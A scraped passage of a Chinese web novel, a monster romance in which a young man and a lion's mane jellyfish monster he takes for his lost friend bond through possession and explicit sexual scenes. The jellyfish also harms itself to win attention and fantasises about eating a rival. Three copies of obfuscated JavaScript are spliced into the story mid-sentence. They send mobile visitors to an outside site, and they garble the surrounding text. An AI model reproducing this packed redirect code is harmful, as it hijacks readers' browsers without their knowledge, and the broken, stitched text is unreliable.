纵然他难以从狮鬃水母的脑袋上看出祂的情绪,不过狮鬃水母明显也是在乎他的,也是会不安的。 他亲了亲狮鬃水母,心道:闻璨,我回来了。 好一会儿,狮鬃水母方才松开向罂,飘在半空,看起来格外乖巧。 向罂摸了摸狮鬃水母的脑袋,往里头走,狮鬃水母便也跟了进去。 紧接着,狮鬃水母居然瞧见向罂从口袋里拿出了一个小盒子,小盒子一打开,一股子陌生的怪物气息当即流窜了出来。 见狮鬃水母张牙舞爪地想要把小盒子里的怪物掐死,向罂安抚道:“没事,我已经将祂收服了。” ——这小盒子能够隔绝怪物的气息。 向罂伸手往小盒子里一探,捉出一条怪物来。 ——正是蚯蚓怪。 只要两端皆有神经环,蚯蚓便可再生,蚯蚓怪亦然。 向罂在国立第一精神病院捉住蚯蚓怪之后,将蚯蚓怪一分为二,上交给“怪物清除局”的那部分不能再生,本来就活不了太久。 蚯蚓怪作为一头能说人话的怪物,上交不一定安全,毕竟“怪物清除局”内部派系庞杂。 向罂这么做是以防万一,没想到,蚯蚓怪在“神明”的金口玉言下,背上了泼天的罪孽,被处以火刑。 “不准喜欢其祂怪物,祂哪里比得上我?我长得比祂漂亮多了,我可是狮鬃水母,祂一条小小的蚯蚓算得了什么……” 狮鬃水母嫉妒得面目全非,像是初见丈夫情人的原配。 向罂垂目问蚯蚓怪:“祂在说什么?” 蚯蚓怪回答道:“听不懂。” 向罂蹙眉道:“一点都听不懂?” “怪物和人类一样,有不同的语言,祂说什么我听不懂,但祂看起来不太高兴。”蚯蚓怪瑟瑟发抖地道,“祂不会吃了我吧?” “祂应该不爱吃怪物。”祂爱吃那种东西。 向罂面颊发烫,他本来是想让蚯蚓怪来当他与狮鬃水母间的翻译的,看来行不通。 听向罂说自己不爱吃怪物,狮鬃水母凑近蚯蚓怪,势必要将祂吃了。 这条蚯蚓怪指不定很好吃,就算不好吃,祂也认了。 28.如愿·其九 大不了嚼碎了再吐出来。 乍见狮鬃水母将口器凑近了蚯蚓怪,向罂赶忙抬手一挡。 狮鬃水母险些咬着向罂的手,吓了一跳,连连后退,委屈巴巴地浮在半空。 下一秒,祂竟然听到向罂这样说:“你可以吃别的怪物,只是不能吃祂。” 向罂是第一次用如此严肃,近乎于命令的口吻同祂说话。 就算是之前祂束缚着向罂,不许向罂离开的时候,向罂的语气都是偏软的。 这条蚯蚓怪对于向罂而言,这么重要么? 这个长得丑陋又弱小的东西究竟有什么魅力? “你爱的不是我么?” “我就要吃祂,你能拿我怎么办?” “难道那个闻璨异变成这条蚯蚓怪了?” …… 向罂听不懂,伸手去摸狮鬃水母的脑袋,没想到,被狮鬃水母躲开了。 他叹了口气:“别吃祂。” “就吃就吃。”狮鬃水母又要去吃蚯蚓怪,然而,蚯蚓怪已经被向罂拢在掌心了。 要吃蚯蚓怪,必定会伤着向罂。 “算了,那我吃自己总行吧。” 向罂赫然目睹狮鬃水母将自己的一根触手送入口器,霎时怔住了。 狮鬃水母不紧不慢地吃尽一根触手,又去吃第二根。 这种行为被人类称作“自残”。 而祂正在利用“自残”博取向罂全副的注意力。 “别这样。”向罂一把抱住狮鬃水母,嗓音含上了哭腔,“别这样,不疼么?” 狮鬃水母对于向罂的反应并不满足,再接再厉。 向罂揪住那根被吃了小半的触手,制止道:“别这样,吃我的吧。” 他抱着狮鬃水母进了卧室,上了床去,旋即扯下自己的裤子。 见狮鬃水母一动不动,他不得不自己动手。 他分明没余力羞耻,身体却红透了。 他居然当着闻璨的面,做了这种事。 奈何不管他怎样努力,都出不了些许。 “对不起,你饿了吧?”他伸出手去,想要摸狮鬃水母的脑袋,害怕又被狮鬃水母躲过,于是讪讪地收回手,转而抓住了床单,“你自己来好不好?” “我不饿,只是嫉妒。” 对了,这就是所谓的嫉妒。 狮鬃水母定定地看着向罂,刚才向罂为祂做了那种事,又生涩又勾人。 不过祂明白自己应当克制食欲,毕竟人类需要被悉心爱护,不可以索取太多。 是以,祂将被向罂褪到大腿根的牛仔裤与内裤提上,扣好扣子,又亲热地用触手磨蹭向罂的面颊。 向罂红着眼尾疑惑地道:“你不饿么?” “不饿,我本来就鲜少进食。”尽管向罂听不懂,狮鬃水母仍然有问必答。 但祂现在是想进食的,因为对象是向罂。 不止是食欲,更多的其实是性.欲。 真奇怪啊,怪物明明是不具备性.欲的物种。 遇见向罂之前,祂不曾对任何人或是怪物生出过性.欲。 祂以全部的触手不松不紧地拥住向罂,不过并没有进一步对向罂做些什么,只是单纯地抱着。 好一会儿,祂又将向罂的手放在自己脑袋上,继而将脑袋往向罂掌心拱。 祂忽然觉得自己犹如正在讨好主人的宠物。 算了,宠物就宠物吧。 向罂顺势抚摸狮鬃水母的脑袋,没多久,狮鬃水母发出了咕噜声,像极了小猫开心时会发出的声音。 “答应我……”他顿了顿,明知狮鬃水母大抵会生气,仍是不得不说,“答应我,别吃祂。” 这个人类朝三暮四,不管是食欲抑或性.欲,祂都不该克制。 狮鬃水母气得剥下了向罂的牛仔裤,丢在一边。 向罂尽量放松身体,忍住羞耻:“吃了我的,就别吃祂了。” 这个人类居然妄图做交换。 倘使把那条蚯蚓怪抓进来,当着向罂的面吃掉,向罂会伤心么? 不行,祂绝不允许蚯蚓怪看到向罂现在的模样。 向罂半阖着眼:“我自己弄不出来,你自己来吧。” 他不能坐视狮鬃水母被活活饿死,等一个人独处了,他必须好好研究如何为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537869|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狮鬃水母提供充足的食物。 狮鬃水母情不自禁地覆上触手,紧接着,祂陡然发现上头有点儿破皮了 是由于向罂刚刚太过心急了,以至于手法粗鲁的缘故。 狮鬃水母小心翼翼地用触手尖抚过破皮处:“疼不疼?” 肯定是疼的。 向罂并没有注意到破皮,被狮鬃水母提醒了才发现,对此他毫不在意,只是一味地邀请道:“麻烦你自己来吧。” 唉,真是一个能轻易令祂妥协的人类。 狮鬃水母战战兢兢地将牛仔裤勾过来,为向罂穿好。 “真的不吃么?”向罂怯生生地望着狮鬃水母,“你是不是不喜欢吃了?” 他猛地抱住狮鬃水母:“你想吃怪物?我去帮你抓好不好?别离开我。” 面对闻璨,他仗着闻璨宠他,任性妄为;面对狮鬃水母,他惶恐不安,毕竟他看不到狮鬃水母的表情,不能与祂沟通,没有一点儿凭仗。 狮鬃水母摇了摇头:“我不想吃怪物,不必了,我不离开你,放心。” 向罂亲吻着狮鬃水母的脑袋道:“对不起,我听不懂。” “没关系。”狮鬃水母嫉妒蚯蚓怪能和向罂交流,要是祂也能,该有多好。 向罂又抱着狮鬃水母出去了,他想不起来自己将蚯蚓怪丢在哪里了,找了一圈,发现祂正闲适地躺在沙发上舒展身体。 蚯蚓怪方才猝不及防地被向罂扔在了地上,好不容易爬上沙发,正打算打个盹,发现向罂顶着一张瞧来不太对劲的脸站在祂面前,不由打趣道:“你们两个有一腿?” 向罂回答道:“还没有。” 蚯蚓怪笑道:“还没有的意思是将来会有?” “嗯,会。”向罂连耳朵尖都红了,“如果祂愿意的话。” “我愿意,我愿意,我愿意……”狮鬃水母激动地触手飞舞。 “祂看起来非常愿意。”蚯蚓怪不解地道,“怪物应该没有性.欲才对。” “怪物应该没有性.欲?”向罂凝视着狮鬃水母,直白地道,“你知道什么是性.欲么?” 狮鬃水母点头:“知道。” 29.如愿·其十 反正这头狮鬃水母肯定是学不会的,蚯蚓怪也不藏私,坦诚地道:“心里想附在谁身上,就能附在谁身上。” 若干年前,蚯蚓怪误打误撞地发现了自己的这项技能。 由于好奇别的生物能不能学会,祂教过怪物、人类以及各种动物,但没有一个生物成功附身。 这头狮鬃水母连人话都不会说,怎么可能掌握祂的独家技能? 愚蠢的狮鬃水母刚才居然想吃祂,真想看看狮鬃水母挫败的表情。 也不知道这个向罂是怎么看上狮鬃水母的,竟然愿意和狮鬃水母发生关系,仅仅因为狮鬃水母长得漂亮? 向罂自己也有一副好皮囊,想找个有钱人轻而易举,为什么要和狮鬃水母扯上关系? 据说人类当中有些异类的性.癖非常奇怪,譬如恋童癖,恋老癖,甚至还有恋动物的,多年前,某些地方,还流行过动物妓.院,培养羊、马、狗之类温驯的动物接客。 向罂显然是异类,患上了恋狮鬃水母的癖好。 不过这头狮鬃水母能对向罂产生性.欲,也是不折不扣的异类。 异类与异类,还挺般配的。 向罂对狮鬃水母道:“附在我身上吧。” 以免失望,他努力地让自己降低期待。 他注视着狮鬃水母,将狮鬃水母抱得更紧了些,继而亲吻着祂的脑袋道:“进来吧。” 这话过于暧.昧了,一说出口,他堪堪褪去绯色的面孔再度红透了。 紧接着,他耳边陡然响起了蚯蚓怪聒噪的嗓音:“附身可简单了,我教了好几头怪物,每一头都学会了,你要是学不会,一定是你的智商……” 蚯蚓怪的奚落戛然而止,因为狮鬃水母不见了。 向罂的双手仍然呈环抱的姿势,身体毫无异样。 他紧张得连放下双手都忘记了,急促地吸了口气后,才故作镇定地道:“你……” 可是不住发抖的嗓音出卖了他:“你……你……你在么?” 周遭静悄悄的,他只能听到自己失序的心跳。 狮鬃水母失踪了,并不在他体内。 他一把抓住蚯蚓怪,怒气冲冲地道:“你把祂弄哪里去了?还我!” 不可否认,向罂生着一张漂亮的脸蛋,这张脸蛋通常没什么表情,而现在这张脸蛋上充满了杀气,蚯蚓怪毫不怀疑向罂会将自己捏成肉泥。 祂赶忙解释道:“不是我捣的鬼,是祂自己变没的。” 胸口剧烈地起伏着,向罂一边抓着蚯蚓怪,一边寻找狮鬃水母。 蚯蚓怪不敢挣扎,只小心翼翼地道:“不怪我,是祂自己的错。” 向罂唇角一勾,露出一抹笑来:“我要是找不到祂,你就别想活了。” 他翻箱倒柜地找了好一会儿,出了一身汗,还是没能找到狮鬃水母。 失而复得,得而复失。 早知道,他就不让蚯蚓怪教狮鬃水母附身术了。 房间里没有就出去找。 旋转木马那儿也没有。 他正要出秘密基地,一把声音猝然响起:“向罂,我在。” ——闻璨附在了向罂身上,却拥有自己原本的嗓音。 多年前的“阿罂,我在”穿过漫长岁月与之应和。 那一日,由于思念妈妈,他一个人偷跑出去,想回他与妈妈的家,看看妈妈在不在。 指不定妈妈正因为他的失踪而以泪洗面,指不定妈妈一直在家里等他。 虽然被带来“乌鸦贫民窟”的路上,他总是望着窗外,但他记不太清回家的路。 他走啊走,走啊走,走到天黑,走到周围一个人都看不见了,还是没能回到家。 “妈妈,妈妈,妈妈……”他既无助又恐惧,泪水涟涟。 突然,他听见有人唤他:“阿罂。” 他回过头去,在水雾的阻隔下,全然看不清对方的脸。 但对方的声音他是记得的——是讨人厌的闻璨。 原来闻璨一直在跟踪他。 他用力地抹去眼泪,果然看见了闻璨的脸。 “阿罂,我在。”闻璨走到了他面前,递给他一张手帕,“擦擦。” 他不接,心里头分明安心了不少,嘴巴里却质问道:“你跟着我干什么?” “我怕你有危险。”闻璨将手帕塞进了向罂手里,“擦擦。” “不擦。”向罂伸长了脖子,“要你给我擦。” 他现在哭得一把鼻涕,一把眼泪,闻璨一定会嫌弃他脏的。 不曾想,闻璨仔仔细细地为他擦干净了脸,还将脏兮兮的手帕放进了口袋里。 从闻璨的脸上,他窥探不出一丝的嫌弃。 闻璨忧心忡忡地道:“太晚了,我们先回家好不好?” “我要回我自己家,才不要回你家。”向罂没好气地道。 “好,回你家。”闻璨柔声道,“那我们接下来往哪里走?” 自尊心不允许向罂承认自己迷路了,于是他瞎指道:“往这儿。” 然而,事实证明他指的路是一条死胡同,他瞪着墙壁,只能嘴硬道:“我绝对没记错,肯定是改建过了。” 闻璨并不揭向罂的短:“嗯,你说得对。” 向罂继续带着闻璨瞎走,越走越偏僻,猝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593354|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及防间,远处传来类似于狼嚎的声音,吓得他浑身都僵直了。 他不会要被狼吃掉了吧? 闻璨见状,立刻牵了向罂的手,闻璨的体温通过相贴的肌肤传来,向罂不但忘记甩开闻璨的手,甚至主动回握了闻璨的手。 不知不觉间,向罂跟着闻璨走到了闹市。 闻璨歉然地道:“对不起,我不认识回你家的路。” 向罂自己也不认识,但他嘴上不饶人:“你真笨。” “对不起。”闻璨商量道,“我们先回我家好么?” “不好。”向罂甩开闻璨的手,走在了前头。 闹市里人头攒动,闻璨生怕向罂走丢,又去牵向罂的手。 向罂因为见不到妈妈而不开心,闹起了脾气,明明不关闻璨的事,他却将气撒在了闻璨身上,一次又一次地甩开闻璨的手。 “对不起,你很讨厌我吧。”闻璨致歉道,“太晚了,不安全,等回到家,我就松开你的手。” “我讨厌你,最讨厌你。”向罂口不择言地说着伤人的话,“你才比我大半岁,牵着我的手,我就安全了?白痴,大白痴。” 闻璨受伤的神情让向罂有些后悔,他张了张嘴巴,终究没再说话。 “对不起。”闻璨坚持不松开向罂的手,好几个小时后,才将向罂安全地带回自己家。 手被突地松开了,有点儿不习惯,向罂握了握拳:“下次再随便牵我的手,我就揍你了。” 向罂当然没揍闻璨,不过因为闻璨坚称是自己非要带向罂出去玩,才导致两个人这么晚回家,被闻爸爸打了屁股。 向罂本来在旁边看热闹,小声地说“活该”,但没看多久就看不下去了,抱着闻爸爸的腿,央求道:“别打了,不是闻璨的错,是我的错。” 向罂不是自己的孩子,闻爸爸不能打,不得不作罢。 闻璨一瘸一拐地回到自己的房间后,对默默跟在他身后的向罂道:“阿罂,别哭,你不是最讨厌我?你应该笑。” “我最讨厌你了。”向罂转身就跑。 闻爸爸下手不重,第二天,闻璨就恢复原样了。 向罂松了口气的同时,觉得手指寂寞了。 而今的“向罂,我在”尽管咬字奇怪,但在向罂听来与当年的“阿罂,我在”别无二致。 “叫我‘阿罂’吧。”他发觉自己含上了哭腔,一摸脸,果然摸到了一手的潮湿。 “阿罂,我在。”狮鬃水母满足了向罂的要求。 “你在,真好。”向罂抱住自己的身体,“真好啊。” 时隔两年,他终于再次听见闻璨对他说话了。 30.如愿·其十一 狮鬃水母会说怪物的语言,可是连祂自己都听不懂。 附上向罂的身后,祂试着说人类的语言,却怎么都说不出来。 因为常常在市政府附近徘徊,他曾经以为自己在异变为怪物前,应该是其中的职员,但祂现在认为自己的猜测大抵是错误的。 祂目睹向罂威胁蚯蚓怪,不由开心起来。 在向罂心目中,祂果然比蚯蚓怪重要,而且是重要得多得多。 为了找祂,向罂急得满头是汗,心脏失序。 由于在向罂体内,祂直觉得这心跳声震耳欲聋。 别急,我在。 祂想对向罂说。 然而,一个字都说不出来。 祂眼睁睁地看着向罂翻箱倒柜,心想:我不如先出去吧。 但是祂被向罂的肉身困住了,全然出不去。 难道是蚯蚓怪在作祟? 我一定要弄死那条蚯蚓怪。 向罂突地被他自己绊倒了,整个人重重地撞在地砖上。 而后,向罂马上爬了起来,继续找祂。 祂心急如焚地想问向罂疼不疼,向罂自己却是毫不在意。 床是铁艺的,连接处有些粗糙,祂看着鲜血从向罂掌心流淌出来,心如刀割。 向罂掀翻了被子、床单,接着钻到了床底下。 当然是一无所获。 向罂去了浴室,映在玻璃上的脸,眼尾发红,泫然欲泣。 狮鬃水母既心疼向罂,急于让向罂知晓自己成功附在了他身上,又颇为享受向罂的重视。 向罂爱我,真好呀。 至于闻璨,最好永远都不要再出现了。 向罂可以一直将我当做闻璨。 叫我“闻璨”,我也能勉为其难地接受。 向罂甚至愿意和我发生关系。 真好啊。 祂有爱人,有家了,不必再在市政府与“乌鸦贫民窟”之间游荡。 祂还拥有了稳定的食物来源。 纵然祂仅仅是一头A-的怪物,但祂比那些A+级的怪物要幸福得多。 向罂还在找他,整副身体微微发抖。 祂能感受到向罂的恐惧,一种近乎于濒死的恐惧。 这一刻,心疼彻底占据了上风,祂为自己的卑劣而感到愧疚。 向罂冲出房间,一双眼睛包含期待地查看着旋转木马。 不能让向罂再这样找下去了。 祂心急火燎。 不能因为祂而使向罂受伤。 不能因为祂而使向罂哭泣。 祂要好好地保护向罂。 祂必须好好地保护向罂。 祂的向罂。 “向罂,我在。” 不知怎么地,祂终于成功地说出了第一句话。 祂从未听过自己说人类的语言,嗓音听起来与说怪物的语言时不太一样。 明明是通过向罂的唇瓣说出来的话,为什么不是向罂的嗓音? 祂正满头雾水,突然发现向罂哭了。 真是个爱哭的人类。 不过祂喜欢这个爱哭的人类。 “叫我‘阿罂’吧。”祂的人类要求道。 祂慷慨地道:“阿罂,我在。” “你在,真好。”人类抱住了自己的身体,令祂产生了正被人类抱着的错觉。 “真好啊。”人类说,是啊,真好啊。 但是人类受伤了,这一点不好。 “疼不疼?”祂赶忙问。 “啊?”向罂被狮鬃水母提醒了,才觉察到自己的掌心不知什么时候被割破了。 至于是怎么割破的,他根本想不起来。 “上药。”狮鬃水母命令道。 “好。”向罂回到房间,拿出了医药箱。 狮鬃水母见向罂草草消过毒,就要包扎了,不满地道:“我来。” 祂不太会操控向罂的身体,试了好一会儿,棉棒才沾上碘酒。 被操控的感觉很奇妙,向罂看着自己的手那副小心翼翼的样子,忍俊不禁。 狮鬃水母生气地道:“你都受伤了。” “嗯,我受伤了。”向罂蛮不在乎地道,“比这严重的伤我受过不知道多少次。” 我啊,是为了再次与你相遇,才一次又一次地从死神那儿逃回来的。 闻璨,我爱你,别再离开我了。 狮鬃水母又气又急:“你这个人类真不爱惜自己。” 闻璨出事前,向罂非常娇气,一点小小的擦伤,都要闻璨像哄小孩儿一样哄;闻璨出事后,他明白没人会哄他了,只能自己哄自己,学着闻璨对自己说“痛痛飞飞”,时间长了,他懒得哄自己了,同时也习惯疼痛了。后来,他甚至连胸口被活活剖开,肋骨血淋淋地暴露在眼前,都能面不改色。 “对我说‘痛痛飞飞’。”向罂早就不是小孩儿了,闻璨却一直将他当小孩儿哄。 这话一说出口,他有点儿不好意思,不过他坚持道:“我想听。” “痛痛飞飞。” 狮鬃水母并没有说他幼稚,而是立刻回应了他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618326|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 犹如牙牙学语的婴孩,语调古怪,口齿不清。 不过向罂爱听。 “再说一遍。” “痛痛飞飞。” “再说一遍。” …… 他不厌其烦地要求,而狮鬃水母不厌其烦地满足。 狮鬃水母果真是他的闻璨,不会嫌他麻烦。 “痛痛飞飞。” 这一遍,狮鬃水母的口吻像极了闻璨。 向罂眼眶湿润:“痛痛飞走了。” “那就好。”狮鬃水母仔仔细细地为向罂包扎好,又找出被祂撕破,又被祂缝好的家居服。 向罂想象着狮鬃水母用触手缝家居服的情状,失笑道:“多谢你。” “本来就是我撕破的,对不起。”狮鬃水母真心实意地道。 “没关系。”向罂脱下了身上的衣服,换上家居服,“多谢你。” “不客气。”狮鬃水母没缝过衣服,缝了好几次,才差强人意。 “谢谢你没离开我。”向罂乞求道,“以后也别离开我好不好?” “好,我答应你。”狮鬃水母郑重其事地道。 “谢谢。”向罂前十年基本没对闻璨说过“谢谢”,这几天比前十年加起来说的还要多。 他实在是个不懂感恩的坏人,闻璨为什么能容忍他这么多年? “叫我‘闻璨’吧。” 祂忽而听到狮鬃水母这么说,先前狮鬃水母似乎并不喜欢这个名字。 “叫我‘闻璨’吧。” 我要取代闻璨,独占你。 狮鬃水母心里盘算着。 “闻璨。”向罂试探着唤道。 狮鬃水母没做出任何反应。 闻璨终究还没从狮鬃水母体内苏醒,狮鬃水母有自己的脾气很正常。 “你可以为自己取个名字,不是非要叫‘闻璨’。” “就叫‘闻璨’吧。”狮鬃水母不得不承认自己是嫉妒闻璨的,嫉妒得发疯。 向罂爱的其实是闻璨,而祂只是闻璨的替身。 关于向罂拿祂当替身的原因,祂欲问又止,生怕问出不中听的答案。 祂不甘心,又没办法。 万一闻璨出现了,祂就把闻璨吃掉,教向罂只能屈就于祂这个替身。 祂有了主意后,跃跃欲试,祂不记得自己吃过人,不知道闻璨好不好吃,是瘦肉多,还是肥肉多? 怪物一般都吃生人肉,不知道将闻璨煎炒蒸炸了,会不会好吃? 要是不好吃,就加点香辛料。 31.如愿·其十二 即使加了香辛料,还是难以下咽,祂也会硬着头皮,将闻璨吃干净。 向罂已经属于祂了,祂绝不容许向罂再与闻璨有任何牵扯。 一想到向罂与闻璨可能发生过关系,祂便嫉妒得不得了。 祂必须让向罂永生永世都找不到闻璨,不得不可怜又乖巧地乞求祂别离开。 祂会比闻璨待向罂更好,闻璨不必担心向罂,可以瞑目了。 祂想象着闻璨被祂吞食的惨状,喜不自胜,同时又觉得自己真是一头卑鄙的怪物。 不过作为一头怪物,祂本来就用不着遵守人类的法律,吃人更是司空见惯。 就算祂当真吃了闻璨,也是天经地义的事。 “闻璨。” 祂突然听见向罂又唤了祂一声。 真是个讨厌的名字。 “我在。”祂勉为其难地应承道。 “闻璨。” “我在。” “闻璨。” “我在。” “闻璨。” …… 向罂忍不住嚎啕大哭。 花费整整两年,他终是找到了闻璨,还同闻璨说上了话。 不知道还要花费多久,闻璨才能记起他。 别急,别急,他告诉自己。 总有一天,闻璨一定会记起他的。 “别哭,我在。”狮鬃水母忍着不快道,“我是闻璨,我在。” 祂如果真是闻璨,向罂会更开心吧。 唉,祂要是闻璨就好了。 才不好。 祂要吃了闻璨。 两相矛盾中,祂不知道该怎么安慰哭泣不止的向罂。 陡然间,祂看见自己的一根触手从向罂体内探了出去,为向罂抹眼泪。 因为心疼向罂,祂学会了人类的语言;因为心疼向罂,祂学会了怎样突破向罂这具肉身。 是爱吧。 不单单是独占欲,不单单是性.欲,祂是爱着向罂的。 怪物是一种不懂得爱,缺乏性.欲,不需要繁殖的生物。 而祂对向罂产生的感情,远远超脱了怪物的范畴。 向罂被触手抹着眼泪,面颊稍稍有些发痒。 他吸了吸鼻子,破涕而笑:“你知道怎么出来么?” 话音落地,五彩斑斓的狮鬃水母出现在了他面前。 他端详着狮鬃水母,抬手摸了摸狮鬃水母的脑袋:“再附身一次。” 狮鬃水母当即凭空消失了。 “你在么?闻璨,你在么?” 他马上得到了回答:“阿罂,我在。” “请你一直在。”他环抱着自己的身体,神态较匍匐在“神明”脚下的信徒虔诚得多。 “说爱我。”狮鬃水母从向罂的身体出来了,漂浮在向罂眼前,以触手摩挲着向罂的唇瓣。 “我爱你。”向罂启唇,任由触手钻入了他的唇齿。 触手灵活地玩弄着他的舌头、牙齿以及口腔黏膜。 他不知道狮鬃水母想做到哪一步,不过不管狮鬃水母想对他做什么,他都心甘如怡。 因而他配合地张大嘴巴,尽力含住了更多的触手。 狮鬃水母其实只是想像人类一样——像闻璨一样,与向罂接吻。 但作为一头连嘴唇、舌头都没有的怪物,祂做不到。 触手扶上向罂的后腰,接着没入了家居服。 向罂放松了身体,呢喃道:“闻璨,我爱你。” 狮鬃水母妒火中烧,凶狠地将向罂放到了床上,并将自己整副身体都附着在了向罂身上。 向罂眼神迷离,发丝凌乱,身上的家居服要掉不掉。 他揪住一丛触手,阖上双眼,鲜明地默许了狮鬃水母的所有行为。 不计其数的吸盘吸.吮着向罂的身体,流淌不尽的黏液湿润了向罂的肌理。 闻璨是否与向罂接过吻? 狮鬃水母霎时被嫉妒裹挟,拼命亵玩着身下的少年。 但祂根本不清楚一头怪物与一个人类要怎么做。 祂是一头爱读书的怪物,可惜对于这方面的知识,祂颇为欠缺。 向罂的面孔被祂害得涨红,祂即刻收回大多数触手,仅留下一根触手,有一搭没一搭地撩拨着向罂的舌头。 些许津液自向罂嘴角淌下,祂全部吃尽了。 好吃。 向罂脸上还残留着泪水,祂亦全部吃尽了。 也好吃。 但祂不喜欢向罂哭。 家居服的扣子还歪歪斜斜地扣着,露出来的向罂的右肩莹润洁白。 祂把玩着这右肩,继而揉捏起向罂的心口来。 向罂情不自禁地想起了那个见不得人的梦,梦里,他与闻璨共度良宵。 而他现在正在与狮鬃水母做同样的事。 一头拥有闻璨灵魂的怪物。 “嗯……”他抱住狮鬃水母的脑袋,“闻璨,我爱你。” 即便是一头怪物也没关系,只要是闻璨就好。 他猝然想到自己还没洗澡,推了推狮鬃水母:“让我先去洗澡好不好?” 见狮鬃水母摇了摇头,他不好意思地妥协了:“那好吧。” 狮鬃水母慢条斯理地剥干净了他身上的家居服,仅仅余下左脚脚踝还挂着一截布料。 他不知道自己与狮鬃水母具体要怎么交.配,很是害羞地道:“闻璨,轻点。” 狮鬃水母几乎将他浑身上下都品尝了一番,忽然,他意识到狮鬃水母又附在了他身上,用他的唇舌说:“所谓的发生关系是要怎么发生关系?” 他被问住了:“我也不知道。” 狮鬃水母怔了一怔,继而欣喜若狂,向罂的回答证明他从没与闻璨发生过关系。 祂激动得触手飞舞,等祂冷静下来,方才意识到祂现在不能与向罂发生关系了,因为他们都不清楚该怎么做。 算了,改天吧。 祂的人类受伤了,先养好了,再发生关系吧。 祂趴在人类颈窝,玩弄着人类的精致的锁骨。 人类提议道:“那我出去问问蚯蚓怪?” 蚯蚓怪似乎非常博学广闻,但祂不想让人类去问蚯蚓怪。 “我把蚯蚓怪扔哪里了?”人类自言自语地道。 人类刚才因为听见祂说话,太过激动,随手将蚯蚓怪扔在旋转木马那了。 而祂在人类回房间后,顺手将房门锁上了。 蚯蚓怪此刻应该孤孤单单地等着向罂。 旋转木马底下是泥土,作为一条蚯蚓怪松松土,打发时间好了。 虽然没能发生关系,但祂想和人类再温存一会儿,于是道:“别管祂。” “嗯。”人类不假思索地答应了祂。 祂心满意足地用自己全数的触手感受着人类的体温。 向罂陡地发觉自己有点不对劲,戳了戳狮鬃水母的脑袋:“你要吃么?” 他是个血气方刚的少年,方才同狮鬃水母亲热了,会不对劲才是正常的吧? 狮鬃水母先前特意没碰那儿,怕太频繁对向罂的身体不好。 听得向罂的话,祂自然不会客气,低下头去,用触手沾了一些吃了。 好吃。 从向罂体内出来的所有的液.体皆是祂的琼浆玉液。 向罂任凭狮鬃水母取食,身体愈发酥麻。 思绪昏昏沉沉,身体不听使唤。 明明是狮鬃水母在进食,他却想着是人形的闻璨在进食。 猝不及防间,他的手指沾了少许,送进了嘴巴里。 “我想试试,附在你身上吃。”狮鬃水母解释道。 不好吃,甚至可以说恶心。 他霎时清醒了,忍耐着没吐出来。 “没有直接吃可口。”通过向罂的身体进食,狮鬃水母只能尝到隐隐约约的味道。 兴许是祂的附身术太粗浅的缘故吧。 祂即刻从向罂身上出来了,继续埋首进食。 向罂正揉着狮鬃水母的触手,狮鬃水母再次附身进来了。 然后,狮鬃水母居然用他的手压榨出了更多的食物。 尽管都是自己的手,可是感觉是不大相同的。 他看着自己被弄脏的双腿,气喘吁吁。 不久后,双腿被触手扫荡了一番。 这之后,狮鬃水母窝在向罂心口,餍足地拨弄着向罂潮湿的发丝。 向罂被狮鬃水母弄得没什么力气,低声道:“闻璨,我爱你,请你一直待在我身边。” 下一瞬,他出乎意料地得到了狮鬃水母的回答:“阿罂,我也爱你,我会一直待在你身边。” 他能明确地感受到狮鬃水母对他的食欲、性.欲,以及占有欲,但是爱…… 狮鬃水母爱他? 因为闻璨就在狮鬃水母体内,所以狮鬃水母爱上了他? 不论如何,爱他就好。 “我们要一直在一起。“他略略有点哽咽,但没哭。 “好,我们一直在一起,不分开。”狮鬃水母许诺道。 一头怪物与一个人类私定终身了。 倘使被其祂怪物知晓,祂一定会被笑话的。 毕竟没有人类会与一头猪私定终身。 可是祂却觉得很幸福,很幸福。 向罂缓了口气,才去浴室,洗去一身的粘腻,穿戴整齐。 蚯蚓怪抗拒不了本能,正将自己埋在泥土里。 乍见向罂开门出来,面色不同寻常,祂从泥土里探出头来,直截了当地道:“ 你们有一腿了?” 由于狮鬃水母不喜欢向罂问蚯蚓怪发生关系的方法,他只是摇头道:“还没有。” 蚯蚓怪看看向罂,又看看狮鬃水母,不解地道:“不像是没有的样子。” “关你什么事。”狮鬃水母借由向罂的唇瓣说道。 “是不关我的事。”蚯蚓怪坦诚地道,“我只是喜欢八卦。” “不准八卦,不然,我吃了你。”狮鬃水母威胁道。 “好吧,好吧。”蚯蚓怪摆摆尾巴。 祂本来以为蠢钝的狮鬃水母绝对学不会附身术,没料到,狮鬃水母轻而易举地学会了。 祂明白自己不是狮鬃水母的对手,只得示弱。 祂心里后悔不迭,早知道,别教狮鬃水母了。 